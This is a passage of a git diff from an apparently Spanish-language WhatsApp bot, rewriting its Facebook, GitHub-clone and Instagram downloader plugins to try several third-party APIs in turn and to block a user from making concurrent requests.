-for (const {url, isVideo} of result.reverse()) await conn.sendFile(m.chat, url, `facebook.${!isVideo ? 'bin' : 'mp4'}`, `✅ 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\n${wm}`, m);
-} catch (err6) {
-await m.reply(`${lenguajeGB['smsAvisoFG']()}𝘼𝙇𝙂𝙊 𝙎𝘼𝙇𝙄𝙊 𝙈𝘼𝙇, 𝙍𝙀𝘾𝙐𝙀𝙍𝘿𝙀 𝙐𝙎𝘼𝙍 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙑𝘼𝙇𝙄𝘿𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆`)
-handler.limit = 0
-}}}}}}}}
-handler.command = /^(facebook|fb|facebookdl|fbdl|facebook2|fb2|facebookdl2|fbdl2|facebook3|fb3|facebookdl3|fbdl3|facebook4|fb4|facebookdl4|fbdl4|facebook5|fb5|facebookdl5|fbdl5)$/i
-handler.limit = 3
-export default handler
-
-async function igeh(url_media) {
-return new Promise(async (resolve, reject)=>{
-const BASE_URL = 'https://instasupersave.com/';
-try {
-const resp = await axios(BASE_URL);
-const cookie = resp.headers['set-cookie']; // get cookie from request
-const session = cookie[0].split(';')[0].replace('XSRF-TOKEN=', '').replace('%3D', '');
-const config = {method: 'post', url: `${BASE_URL}api/convert`, headers: {'origin': 'https://instasupersave.com', 'referer': 'https://instasupersave.com/pt/', 'sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52', 'x-xsrf-token': session, 'Content-Type': 'application/json', 'Cookie': `XSRF-TOKEN=${session}; instasupersave_session=${session}`}, data: {url: url_media}};
-axios(config).then(function(response) {
-const ig = [];
-if (Array.isArray(response.data)) {
-response.data.forEach((post) => {
-ig.push(post.sd === undefined ? post.thumb : post.sd.url);
- });
-} else {
-ig.push(response.data.url[0].url);
-}
-resolve({results_number: ig.length, url_list: ig});
-}).catch(function(error) {
-reject(error.message);
-});
-} catch (e) {
-reject(e.message);
-}})}
-
-/*import fg from 'api-dylux'
-import fetch from 'node-fetch'
-import { savefrom, facebookdl, facebookdlv2 } from '@bochilteam/scraper'
-import fbDownloader from 'fb-downloader-scrapper'
-let handler = async (m, { conn, args, command, usedPrefix }) => {
-let user = global.db.data.users[m.sender]
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!args[0]) return conn.reply(m.chat, `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆 𝙋𝘼𝙍𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙍 𝙀𝙇 𝙑𝙄𝘿𝙀𝙊\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} https://www.facebook.com/watch?v=636541475139`, fkontak, m)
-if (!args[0].match(/www.facebook.com|fb.watch/g)) return conn.reply(m.chat, `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆 𝙋𝘼𝙍𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙍 𝙀𝙇 𝙑𝙄𝘿𝙀𝙊\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} https://www.facebook.com/watch?v=636541475139*`, fkontak, m)
-try {
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoEG']()}𝙀𝙎𝙋𝙀𝙍𝙀 𝙐𝙉 𝙈𝙊𝙈𝙀𝙉𝙏𝙊, 𝙎𝙀 𝙀𝙎𝙏𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙉𝘿𝙊 𝙎𝙐 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆`, fkontak, m)
-let Rres = await fetch(`https://api.lolhuman.xyz/api/facebook?apikey=${lolkeysapi}&url=${args[0]}`)
-let Jjson = await Rres.json()
-let VIDEO = Jjson.result[0]
-if (VIDEO == '' || !VIDEO || VIDEO == null) VIDEO = Jjson.result[1]
-conn.sendFile(m.chat, VIDEO, 'error.mp4', `✅ 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\n${wm}`, m)
-} catch (err1) {
-console.log('1 ' + err1)
-try {
-let ress = await fg.fbdl(args[0])
-let urll = await ress.data[0].url
-await conn.sendFile(m.chat, urll, 'error.mp4', '✅ 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\n${wm}', m)
-} catch (err2) {
-console.log('2 ' + err2)
-try {
-let res = await fbDownloader(args[0])
-for (let result of res.download) {
-let ur = result.url
-await conn.sendFile(m.chat, ur, 'error.mp4', '✅ 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\n${wm}', m)}
-} catch (err3) {
-console.log('3 ' + err3)
-try {
-let vio = await fetch(`https://api.violetics.pw/api/downloader/facebook?apikey=beta&url=${args[0]}`)
-let vioo = await vio.json()
-let videovio = `${vioo.result.hd.url || vioo.result.sd.url}`
-await conn.sendFile(m.chat, videovio, `error.mp4`, '✅ 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\n${wm}', m)
-} catch (err4) {
-console.log('4 ' + err4)
-try {
-let res3 = await fetch(`https://latam-api.vercel.app/api/facebookdl?apikey=brunosobrino&q=${args[0]}`)
-let json = await res3.json()
-let url3 = await json.video
-await conn.sendFile(m.chat, url3, 'error.mp4', '✅ 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\n${wm}', m)
-} catch (err5) {
-console.log('5 ' + err5)
-try {
-const { result } = await facebookdl(args[0]).catch(async _ => await facebookdlv2(args[0])).catch(async _ => await savefrom(args[0]))
-for (const { url, isVideo } of result.reverse()) await conn.sendFile(m.chat, url, `facebook.${!isVideo ? 'bin' : 'mp4'}`, '✅ 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\n${wm}', m)
-} catch (err6) {
-console.log('6 ' + err6)
-await m.reply(`${lenguajeGB['smsAvisoFG']()}𝘼𝙇𝙂𝙊 𝙎𝘼𝙇𝙄𝙊 𝙈𝘼𝙇, 𝙍𝙀𝘾𝙐𝙀𝙍𝘿𝙀 𝙐𝙎𝘼𝙍 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙑𝘼𝙇𝙄𝘿𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆`)
-}}}}}}}
-handler.command = /^(facebook|fb|facebookdl|fbdl|facebook2|fb2|facebookdl2|fbdl2|facebook3|fb3|facebookdl3|fbdl3|facebook4|fb4|facebookdl4|fbdl4|facebook5|fb5|facebookdl5|fbdl5)$/i
-handler.limit = 3
-export default handler*/
diff --git a/plugins/descargas-fb.js b/plugins/descargas-fb.js
new file mode 100644
index 000000000..7ee5e058e
--- /dev/null
+++ b/plugins/descargas-fb.js
@@ -0,0 +1,120 @@
+import fg from 'api-dylux';
+import fetch from 'node-fetch';
+import axios from 'axios';
+const userMessages = new Map();
+const userRequests = {};
+
+const handler = async (m, { conn, args, command, usedPrefix }) => {
+if (!args[0]) return m.reply(`⚠️ 𝙄𝙣𝙜𝙧𝙚𝙨𝙚 𝙪𝙣 𝙚𝙣𝙡𝙖𝙘𝙚 𝙙𝙚 𝙁𝙖𝙘𝙚𝙗𝙤𝙤𝙠 𝙥𝙖𝙧𝙖 𝙙𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙧 𝙚𝙡 𝙑𝙞𝙙𝙚𝙤\n• *𝙀𝙟 :* ${usedPrefix + command} https://www.facebook.com/share/r/1E1RojVvdJ/`)
+if (!args[0].match(/www.facebook.com|fb.watch/g)) return m.reply(`⚠️ 𝙄𝙣𝙜𝙧𝙚𝙨𝙚 𝙪𝙣 𝙚𝙣𝙡𝙖𝙘𝙚 𝙙𝙚 𝙁𝙖𝙘𝙚𝙗𝙤𝙤𝙠 𝙥𝙖𝙧𝙖 𝙙𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙧 𝙚𝙡 𝙑𝙞𝙙𝙚𝙤\n• *𝙀𝙟 :* ${usedPrefix + command} https://www.facebook.com/share/r/1E1RojVvdJ/`)
+if (userRequests[m.sender]) return await conn.reply(m.chat, `⚠️ Hey @${m.sender.split('@')[0]} Calmao, ya estás bajando un video 🙄\nEspera a que termine tu descarga actual antes de pedir otra...`, m)
+userRequests[m.sender] = true;
+m.react(`⌛`);
+try {
+const downloadAttempts = [async () => {
+const api = await fetch(`https://api.agatz.xyz/api/facebook?url=${args[0]}`);
+const data = await api.json();
+const videoUrl = data.data.hd || data.data.sd;
+const imageUrl = data.data.thumbnail;
+if (videoUrl && videoUrl.endsWith('.mp4')) {
+return { type: 'video', url: videoUrl, caption: '✅ Aquí está tu video de Facebook' };
+} else if (imageUrl && (imageUrl.endsWith('.jpg') || imageUrl.endsWith('.png'))) {
+return { type: 'image', url: imageUrl, caption: '✅ Aquí está la imagen de Facebook' };
+}},
+async () => {
+const api = await fetch(`${info.fgmods.url}/downloader/fbdl?url=${args[0]}&apikey=${info.fgmods.key}`);
+const data = await api.json();
+const downloadUrl = data.result[0].hd || data.result[0].sd;
+return { type: 'video', url: downloadUrl, caption: '✅ Aquí está tu video de Facebook' };
+},
+async () => {
+const apiUrl = `${info.apis}/download/facebook?url=${args[0]}`;
+const apiResponse = await fetch(apiUrl);
+const delius = await apiResponse.json();
+const downloadUrl = delius.urls[0].hd || delius.urls[0].sd;
+return { type: 'video', url: downloadUrl, caption: '✅ Aquí está tu video de Facebook' };
+},
+async () => {
+const apiUrl = `https://api.dorratz.com/fbvideo?url=${encodeURIComponent(args[0])}`;
+const response = await fetch(apiUrl);
+const data = await response.json();
+const hdUrl = data.result.hd;
+const sdUrl = data.result.sd;
+const downloadUrl = hdUrl || sdUrl;
+return { type: 'video', url: downloadUrl, caption: '✅ Aquí está tu video de Facebook' };
+},
+async () => {
+const ress = await fg.fbdl(args[0]);
+const urll = ress.data[0].url;
+return { type: 'video', url: urll, caption: '✅ 𝐀𝐐𝐔𝐈 𝐄𝐒𝐓𝐀 𝐓𝐔 𝐕𝐈𝐃𝐄𝐎 𝐃𝐄 𝐅𝐀𝐂𝐄𝐁𝐎𝐎𝐊\n\n' };
+}];
+
+let mediaData = null;
+for (const attempt of downloadAttempts) {
+try {
+mediaData = await attempt();
+if (mediaData) break;
+} catch (err) {
+console.error(`Error in attempt: ${err.message}`);
+continue;
+}}
+
+if (!mediaData) throw new Error('No se pudo descargar el video o imagen desde ninguna API');
+const fileName = mediaData.type === 'video' ? 'video.mp4' : 'thumbnail.jpg';
+await conn.sendFile(m.chat, mediaData.url, fileName, mediaData.caption, m);
+m.react('✅');
+} catch (e) {
+m.react('❌');
+console.log(e);
+} finally {
+delete userRequests[m.sender];
+}};
+handler.help = ['fb', 'facebook', 'fbdl'];
+handler.tags = ['downloader'];
+handler.command = /^(facebook|fb|facebookdl|fbdl|facebook2|fb2|facebookdl2|fbdl2|facebook3|fb3|facebookdl3|fbdl3|facebook4|fb4|facebookdl4|fbdl4|facebook5|fb5|facebookdl5|fbdl5)$/i;
+//handler.limit = 3;
+handler.register = true;
+
+export default handler;
+
+async function igeh(url_media) {
+ return new Promise(async (resolve, reject) => {
+ const BASE_URL = 'https://instasupersave.com/';
+ try {
+ const resp = await axios(BASE_URL);
+ const cookie = resp.headers['set-cookie'];
+ const session = cookie[0].split(';')[0].replace('XSRF-TOKEN=', '').replace('%3D', '');
+ const config = {
+ method: 'post',
+ url: `${BASE_URL}api/convert`,
+ headers: {
+ 'origin': 'https://instasupersave.com',
+ 'referer': 'https://instasupersave.com/pt/',
+ 'sec-fetch-dest': 'empty',
+ 'sec-fetch-mode': 'cors',
+ 'sec-fetch-site': 'same-origin',
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52',
+ 'x-xsrf-token': session,
+ 'Content-Type': 'application/json',
+ 'Cookie': `XSRF-TOKEN=${session}; instasupersave_session=${session}`
+ },
+ data: { url: url_media }
+ };
+ axios(config).then(function(response) {
+ const ig = [];
+ if (Array.isArray(response.data)) {
+ response.data.forEach((post) => {
+ ig.push(post.sd === undefined ? post.thumb : post.sd.url);
+ });
+ } else {
+ ig.push(response.data.url[0].url);
+ }
+ resolve({ results_number: ig.length, url_list: ig });
+ }).catch(function(error) {
+ reject(error.message);
+ });
+ } catch (e) {
+ reject(e.message);
+ }
+ });
+}
\ No newline at end of file
diff --git a/plugins/descargas-gitclone.js b/plugins/descargas-gitclone.js
index 0ef277e80..7fae3155a 100644
--- a/plugins/descargas-gitclone.js
+++ b/plugins/descargas-gitclone.js
@@ -1,28 +1,37 @@
-import fetch from 'node-fetch'
-const regex = /(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i
-let handler = async (m, { args, usedPrefix, command }) => {
-if (!args[0]) throw `${lenguajeGB['smsAvisoMG']()}*𝗜𝗡𝗚𝗥𝗘𝗦𝗘 𝗨𝗡 𝗘𝗡𝗟𝗔𝗖𝗘 𝗗𝗘 𝗚𝗜𝗧𝗛𝗨𝗕*\n*𝗘𝗝𝗘𝗠𝗣𝗟𝗢:*\n*${usedPrefix + command} ${md}*`
-if (!regex.test(args[0])) throw `${lenguajeGB['smsAvisoFG']()}𝗘𝗡𝗟𝗔𝗖𝗘 𝗡𝗢 𝗘𝗦 𝗩𝗔𝗟𝗜𝗗𝗢 𝗗𝗘𝗕𝗘𝗥 𝗦𝗘𝗥 𝗨𝗡 𝗘𝗡𝗟𝗔𝗖𝗘 𝗗𝗘 𝗚𝗜𝗧𝗛𝗨𝗕`
+import fetch from 'node-fetch';
+const regex = /(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i;
+const userCaptions = new Map();
+const userRequests = {};
+
+let handler = async (m, { args, usedPrefix, command, conn }) => {
+if (!args[0]) throw `*⚠️ 𝙄𝙣𝙜𝙧𝙚𝙨𝙚 𝙪𝙣 𝙚𝙣𝙡𝙖𝙘𝙚 𝙙𝙚 𝙂𝙞𝙩𝙝𝙪𝙗*\n• *𝙀𝙟 :* ${usedPrefix + command} https://github.com/elrebelde21/LoliBot-MD`
+if (!regex.test(args[0])) return m.reply(`⚠️ 𝙚𝙨𝙤 𝙣𝙤 𝙚𝙨 𝙪𝙣 𝙚𝙣𝙡𝙖𝙘𝙚 𝙙𝙚 𝙜𝙞𝙩𝙝𝙪𝙗 𝙗𝙤𝙡𝙪𝙙𝙤 🤡`)
+if (userRequests[m.sender]) {
+conn.reply(m.chat, `⏳ *Hey @${m.sender.split('@')[0]} Espera...* Ya hay una solicitud en proceso. Por favor, espera a que termine antes de hacer otra...`, userCaptions.get(m.sender) || m)
+return;
+}
+userRequests[m.sender] = true;
try {
-let [_, user, repo] = args[0].match(regex) || []
-repo = repo.replace(/.git$/, '')
-let url = `https://api.github.com/repos/${user}/${repo}/zipball`
-let filename = (await fetch(url, { method: 'HEAD' })).headers.get('content-disposition').match(/attachment; filename=(.*)/)[1]
-m.reply(`*𝐄𝐧𝐯𝐢𝐚𝐝𝐨 𝐞𝐥 𝐚𝐫𝐜𝐡𝐢𝐯𝐨, 𝐮𝐧 𝐦𝐨𝐦𝐞𝐧𝐭𝐨 🚀*\n*𝐒𝐢 𝐧𝐨 𝐥𝐞 𝐥𝐥𝐞𝐠𝐚 𝐞𝐥 𝐚𝐫𝐜𝐡𝐢𝐯𝐨 𝐞𝐬 𝐝𝐞𝐛𝐢𝐝𝐨 𝐚 𝐪𝐮𝐞 𝐞𝐥 𝐑𝐞𝐩𝐨𝐬𝐢𝐭𝐨𝐫𝐢𝐨 𝐞𝐬 𝐦𝐮𝐲 𝐩𝐞𝐬𝐚𝐝𝐨*`)
-conn.sendFile(m.chat, url, filename, null, m)
-/*let info = `💖 *Infórmate sobre las Novedades y recuerda tener la última versión.*\n\n💝 *Find out about what's new and remember to have the latest version.*
- `.trim()
-await conn.sendHydrated(m.chat, info, wm, null, ig, '𝙄𝙣𝙨𝙩𝙖𝙜𝙧𝙖𝙢', null, null, [
-['𝙈𝙚𝙣𝙪 𝘿𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙨 🌀', '#descargasmenu'],
-['𝙈𝙚𝙣𝙪 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙤 | 𝙁𝙪𝙡𝙡 𝙈𝙚𝙣𝙪 ✨', '.allmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,) */
-} catch {
-handler.limit = 0 //❌No gastada diamante si el comando falla
-}}
-handler.help = ['gitclone ']
-handler.tags = ['downloader']
-handler.command = /gitclone|clonarepo|clonarrepo|repoclonar/i
-handler.limit = 2
-handler.level = 2
-export default handler
+const downloadGit = await conn.reply(m.chat, `*⌛ 𝐂𝐚𝐥𝐦𝐚 ✋ 𝐂𝐥𝐚𝐜𝐤, 𝐘𝐚 𝐞𝐬𝐭𝐨𝐲 𝐄𝐧𝐯𝐢𝐚𝐝𝐨 𝐞𝐥 𝐚𝐫𝐜𝐡𝐢𝐯𝐨 🚀*\n*𝐒𝐢 𝐧𝐨 𝐥𝐞 𝐥𝐥𝐞𝐠𝐚 𝐞𝐥 𝐚𝐫𝐜𝐡𝐢𝐯𝐨 𝐞𝐬 𝐝𝐞𝐛𝐢𝐝𝐨 𝐚 𝐪𝐮𝐞 𝐞𝐥 𝐑𝐞𝐩𝐨𝐬𝐢𝐭𝐨𝐫𝐢𝐨 𝐞𝐬 𝐦𝐮𝐲 𝐩𝐞𝐬𝐚𝐝𝐨*`, m, {
+contextInfo: { externalAdReply: { mediaUrl: null, mediaType: 1, description: null, title: info.wm, body: ' 💫 𝐒𝐮𝐩𝐞𝐫 𝐁𝐨𝐭 𝐃𝐞 𝐖𝐡𝐚𝐭𝐬𝐚𝐩𝐩 🥳 ', previewType: 0, thumbnail: m.pp, sourceUrl: info.nna}}});
+userCaptions.set(m.sender, downloadGit);
+let [_, user, repo] = args[0].match(regex) || [];
+repo = repo.replace(/.git$/, '');
+let url = `https://api.github.com/repos/${user}/${repo}/zipball`;
+let filename = (await fetch(url, { method: 'HEAD' })).headers.get('content-disposition').match(/attachment; filename=(.*)/)[1];
+await conn.sendFile(m.chat, url, filename, null, m);
+} catch (e) {
+m.reply(`\`\`\`⚠️ OCURRIO UN ERROR ⚠️\`\`\`\n\n> *Reporta el siguiente error a mi creador con el comando:* #report\n\n>>> ${e} <<<< `);
+console.log(e);
+handler.limit = 0; // ❌ No gasta diamante si el comando falla
+} finally {
+delete userRequests[m.sender];
+}};
+handler.help = ['gitclone '];
+handler.tags = ['downloader'];
+handler.command = /gitclone|clonarepo|clonarrepo|repoclonar/i;
+handler.register = true;
+handler.limit = 2;
+handler.level = 1
+
+export default handler;
\ No newline at end of file
diff --git a/plugins/descargas-ig.js b/plugins/descargas-ig.js
index 1cd092a1d..8bcc43aa2 100644
--- a/plugins/descargas-ig.js
+++ b/plugins/descargas-ig.js
@@ -1,88 +1,81 @@
-import fetch from 'node-fetch'
-import axios from 'axios'
-import cheerio from 'cheerio'
-import instagramGetUrl from 'instagram-url-direct'
-import vm from 'node:vm'
-import { instagram } from "@xct007/frieren-scraper";
-import { instagramdl } from '@bochilteam/scraper'
-let handler = async (m, { conn, args, command, usedPrefix }) => {
-const fkontak = {
- "key": {
- "participants":"0@s.whatsapp.net",
- "remoteJid": "status@broadcast",
- "fromMe": false,
- "id": "Halo"
- },
- "message": {
- "contactMessage": {
- "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`
- }
- },
- "participant": "0@s.whatsapp.net"
- }
+import fetch from 'node-fetch';
+import axios from 'axios';
+import { instagramdl } from '@bochilteam/scraper';
+import { fileTypeFromBuffer } from 'file-type';
+const userMessages = new Map();
+const userRequests = {};
-if (!args[0]) throw `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝘿𝙀 𝙄𝙉𝙎𝙏𝘼𝙂𝙍𝘼𝙈 𝙋𝘼𝙍𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙍 𝙎𝙐 𝙑𝙄𝘿𝙀𝙊 𝙊 𝙄𝙈𝘼𝙂𝙀𝙉\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} https://www.instagram.com/tv/Cd8U99IloVA/?igshid=YmMyMTA2M2Y=*`
- const { key } = await conn.sendMessage(m.chat, {text: wait}, {quoted: fkontak});
-// await delay(1000 * 2);
-await conn.sendMessage(m.chat, {text: waitt, edit: key});
-await conn.sendMessage(m.chat, {text: waittt, edit: key});
-await conn.sendMessage(m.chat, {text: waitttt, edit: key});
+const handler = async (m, { conn, args, command, usedPrefix }) => {
+const datas = global;
+if (!args[0]) return m.reply(`⚠️ Ingresa el enlace del vídeo de Instagram junto al comando.\n\nEjemplo: *${usedPrefix + command}* https://www.instagram.com/p/C60xXk3J-sb/?igsh=YzljYTk1ODg3Zg==`)
+if (userRequests[m.sender]) return await conn.reply(m.chat, `Oye @${m.sender.split('@')[0]}, calma, ya estás descargando algo 😒\nEspera a que termine tu solicitud actual antes de hacer otra...`, m)
+userRequests[m.sender] = true;
+await m.react('⌛');
try {
-const datTa = await instagram.v1(args[0])
-if (datTa.error) return m.reply(`${datTa.message}`);
-for (let urRRl of datTa) {
-let shortUrRRl = await (await fetch(`https://tinyurl.com/api-create.php?url=${urRRl.url}`)).text()
-let tXXxt = `✨ *ENLACE:* ${shortUrRRl}\n\n${wm}`.trim()
-conn.sendFile(m.chat, urRRl.url, 'error.mp4', tXXxt, m)
-await new Promise(resolve => setTimeout(resolve, 10000))}
-} catch {
-try {
-const AA = await savefrom(args[0])
-let shortUrl222 = await (await fetch(`https://tinyurl.com/api-create.php?url=${args[0]}`)).text()
-let txt222 = `✨ *ENLACE:* ${shortUrl222}\n\n${wm}`.trim()
-await conn.sendFile(m.chat, AA.url[0].url, 'error.mp4', txt222, m)
-} catch {
-console.log('Error en el intento 1')
-try {
-const resultss = await instagramGetUrl(args[0]).url_list[0]
-let shortUrl2 = await (await fetch(`https://tinyurl.com/api-create.php?url=${args[0]}`)).text()
-let txt2 = `✨ *ENLACE:* ${shortUrl2}\n\n${wm}`.trim()
-await conn.sendFile(m.chat, resultss, 'error.mp4', txt2, m)
-} catch {
-console.log('Error en el intento 2')
+const downloadAttempts = [
+async () => {
+const res = await fetch(`https://api.siputzx.my.id/api/d/igdl?url=${args[0]}`);
+const data = await res.json();
+const fileType = data.data[0].url.includes('.webp') ? 'image' : 'video';
+return { url: data.data[0].url, type: fileType, caption: fileType === 'image' ? '_*Aqui tiene tu imagen de Instagram*_' : '*Aqui esta el video de Instagram*',
+}},
+async () => {
+const res = await fetch(`${info.fgmods.url}/downloader/igdl?url=${args[0]}&apikey=${info.fgmods.key}`);
+const data = await res.json();
+const result = data.result[0];
+const fileType = result.url.endsWith('.jpg') || result.url.endsWith('.png') ? 'image' : 'video';
+return { url: result.url, type: fileType, caption: fileType === 'image' ? '_*Aqui tiene tu imagen de Instagram*_' : '*Aqui esta el video de Instagram*',
+}},
+async () => {
+const apiUrl = `${info.apis}/download/instagram?url=${encodeURIComponent(args[0])}`;
+const apiResponse = await fetch(apiUrl);
+const delius = await apiResponse.json();
+return { url: delius.data[0].url, type: delius.data[0].type, caption: delius.data[0].type === 'image' ? '_*Aqui tiene tu imagen de Instagram*_' : '*Aqui esta el video de Instagram*',
+}},
+async () => {
+const resultssss = await instagramdl(args[0]);
+const shortUrl3 = await (await fetch(`https://tinyurl.com/api-create.php?url=${args[0]}`)).text();
+const txt4 = `_${shortUrl3}_`.trim();
+return { url: resultssss[0].url, type: resultssss[0].url.endsWith('.mp4') ? 'video' : 'image', caption: txt4 };
+},
+];
+
+let fileData = null;
+for (const attempt of downloadAttempts) {
try {
-const resultssss = await instagramdl(args[0]).catch(async _ => await instagramdlv2(args[0])).catch(async _ => await instagramdlv3(args[0])).catch(async _ => await instagramdlv4(args[0]))
-let shortUrl3 = await (await fetch(`https://tinyurl.com/api-create.php?url=${r.medias[i].url}`)).text()
-let txt4 = `✨ *ENLACE:* ${shortUrl3}\n\n${wm}`.trim()
-for (const { url } of resultssss) await conn.sendFile(m.chat, url, 'error.mp4', txt4, m)
-} catch {
-console.log('Error en el intento 3')
-try {
-let human = await fetch(`https://api.lolhuman.xyz/api/instagram?apikey=${lolkeysapi}&url=${args[0]}`)
-let json = await human.json()
-let videoig = json.result
-let shortUrl1 = await (await fetch(`https://tinyurl.com/api-create.php?url=${args[0]}`)).text()
-let txt1 = `✨ *ENLACE:* ${shortUrl1}\n\n${wm}`.trim()
-await conn.sendFile(m.chat, videoig, 'error.mp4', txt1, m)
-} catch {
-console.log('Error en el intento 4, sin resultados')
-conn.sendMessage(m.chat, {text: `${lenguajeGB['smsAvisoFG']()} 𝙀𝙍𝙍𝙊𝙍 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝙑𝙐𝙀𝙇𝙑𝘼 𝘼 𝙄𝙉𝙏𝙀𝙉𝙏𝘼`, edit: key});
-handler.limit = 0
-}}}}}}
-handler.help = ['instagram ']
-handler.tags = ['downloader']
-handler.command =/^(instagram|ig(dl)?)$/i
-handler.limit = 2
-handler.exp = 70
-handler.register = true
-export default handler
-async function savefrom(urlL) {
-let body = new URLSearchParams({ "sf_url": encodeURI(urlL), "sf_submit": "", "new": 2, "lang": "id", "app": "", "country": "id", "os": "Windows", "browser": "Chrome", "channel": " main", "sf-nomad": 1 });
-let { data } = await axios({ "url": "https://worker.sf-tools.com/savefrom.php", "method": "POST", "data": body, "headers": { "content-type": "application/x-www-form-urlencoded", "origin": "https://id.savefrom.net", "referer": "https://id.savefrom.net/", "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36" }});
-let exec = '[]["filter"]["constructor"](b).call(a);';
-data = data.replace(exec, `\ntry {\ni++;\nif (i === 2) scriptResult = ${exec.split(".call")[0]}.toString();\nelse (\n${exec.replace(/;/, "")}\n);\n} catch {}`);
-let context = { "scriptResult": "", "i": 0 };
-vm.createContext(context);
-new vm.Script(data).runInContext(context);
-return JSON.parse(context.scriptResult.split("window.parent.sf.videoResult.show(")?.[1].split(");")?.[0])
-}
+fileData = await attempt();
+if (fileData) break;
+} catch (err) {
+console.error(`Error in attempt: ${err.message}`);
+continue;
+}}
+
+if (!fileData) throw new Error('No se pudo descargar el archivo desde ninguna API');
+const fileName = fileData.type === 'image' ? 'ig.jpg' : 'ig.mp4';
+await conn.sendFile(m.chat, fileData.url, fileName, fileData.caption, m);
+await m.react('✅');
+} catch (e) {
+await m.react('❌');
+console.log(e);
+handler.limit = 0;
+} finally {
+delete userRequests[m.sender];
+}};
+handler.help = ['instagram * *'];
+handler.tags = ['downloader'];
+handler.command = /^(instagramdl|instagram|igdl|ig|instagramdl2|instagram2|igdl2|ig2|instagramdl3|instagram3|igdl3|ig3)$/i;
+handler.limit = 1;
+handler.register = true;
+
+export default handler;
+
+const getBuffer = async (url, options) => {
+ options = options || {};
+ const res = await axios({ method: 'get', url, headers: { 'DNT': 1, 'Upgrade-Insecure-Request': 1 }, ...options, responseType: 'arraybuffer' });
+ const buffer = Buffer.from(res.data, 'binary');
+ const detectedType = await fileTypeFromBuffer(buffer);
+ if (!detectedType || (detectedType.mime !== 'image/jpeg' && detectedType.mime !== 'image/png' && detectedType.mime !== 'video/mp4')) {
+ return null;
+ }
+ return { buffer, detectedType };
+};
\ No newline at end of file
diff --git a/plugins/descargas-ighistorias.js b/plugins/descargas-ighistorias.js
deleted file mode 100644
index 448a892ae..000000000
--- a/plugins/descargas-ighistorias.js
+++ /dev/null
@@ -1,55 +0,0 @@
-let handler = async (m, { conn, text, args, usedPrefix, command }) => {
